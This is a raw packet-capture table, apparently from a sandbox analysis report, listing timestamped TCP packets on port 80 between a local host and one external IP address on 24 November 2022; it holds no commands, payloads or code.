Nov 24, 2022 13:27:50.270488024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270529032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270555019 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270601034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270648956 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270669937 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270711899 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270736933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270756006 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270770073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270795107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270809889 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270827055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270852089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270872116 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270900011 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270940065 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270958900 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270973921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270998955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271022081 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271032095 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271058083 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271085024 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271091938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271120071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271138906 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271152020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271177053 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271203041 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271209955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271235943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271265984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271266937 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271296978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271310091 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271385908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271431923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271439075 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271476984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271528006 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271548033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271595001 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271641970 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271644115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271673918 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271697998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271724939 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271729946 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271759033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271781921 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271791935 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271820068 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271841049 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271852970 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271878958 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271905899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271910906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271939039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271967888 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.271967888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.271997929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272027969 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.272031069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272059917 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272083998 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.272092104 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272118092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272142887 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.272150040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272176981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272192955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.272209883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272237062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.272264004 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.286484003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286509991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286525965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286555052 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.286561012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286580086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286597967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286618948 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.286628962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286681890 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.286818981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286839008 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286856890 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286873102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286907911 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.286921024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286946058 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.286964893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.286993980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287022114 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287026882 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287046909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287070990 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287081003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287097931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287122965 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287130117 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287147045 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287174940 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287178993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287197113 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287225008 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287229061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287271023 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287273884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287293911 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287311077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287337065 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287342072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287384987 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287396908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287414074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287441015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287457943 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287498951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287539005 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287545919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287601948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287647009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287663937 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287683010 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287699938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287725925 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287734985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287753105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287782907 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287796974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287816048 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287843943 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287846088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287866116 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287889004 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287899971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287916899 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287945032 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.287950039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287967920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.287992001 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288000107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288017988 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288039923 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288048983 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288090944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288091898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288110971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288129091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288156986 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288162947 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288181067 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288203955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288211107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288253069 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288290024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288309097 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288326025 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288357019 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288388968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288417101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288434029 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288469076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288487911 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288517952 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288536072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288566113 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288589954 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288610935 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288629055 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288656950 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288664103 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288681984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288711071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288712025 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288731098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288763046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288764954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288784981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288815022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288815022 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288834095 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288862944 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288863897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288882971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288908005 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288914919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288933039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288957119 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.288964033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.288981915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289014101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289014101 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289057016 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289268017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289295912 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289341927 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289324999 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289412022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289429903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289458990 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289474010 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289491892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289520979 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289545059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289572954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289592981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289608002 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289625883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289650917 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289659977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289684057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289709091 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289719105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289736986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289762020 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289772034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289789915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289819002 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289819956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289839983 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289870024 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289874077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289891958 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289918900 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289927959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289946079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289969921 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.289978027 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.289994955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290023088 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290028095 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290046930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290074110 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290170908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290189028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290214062 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290257931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290286064 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290308952 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290328026 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290359020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290380001 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290427923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290481091 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290498018 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290535927 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290555000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290586948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290605068 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290613890 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290623903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290652990 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290667057 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290669918 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290688992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290714025 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290715933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290735960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290752888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290780067 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290812016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290826082 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290847063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290864944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290893078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290910959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290925980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290940046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290956974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290961981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.290971994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.290988922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291007996 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291054010 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291213036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291260958 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291265965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291379929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291431904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291449070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291450977 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291466951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291485071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291500092 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291501045 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291520119 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291531086 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291537046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291553974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291572094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291574955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291589022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291604042 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291609049 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291625977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291642904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291650057 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291661024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291677952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291693926 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291706085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291712046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291728973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291738033 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291745901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291763067 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291778088 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291784048 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291802883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291809082 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.291821003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.291874886 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292129040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292155981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292172909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292184114 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292200089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292217970 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292226076 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292236090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292265892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292270899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292295933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292324066 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292330980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292361021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292382002 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292387962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292406082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292428017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292433977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292464018 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292475939 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.292480946 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292499065 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292515993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.292522907 CET	49701	80	192.168.2.4	66.235.200.147
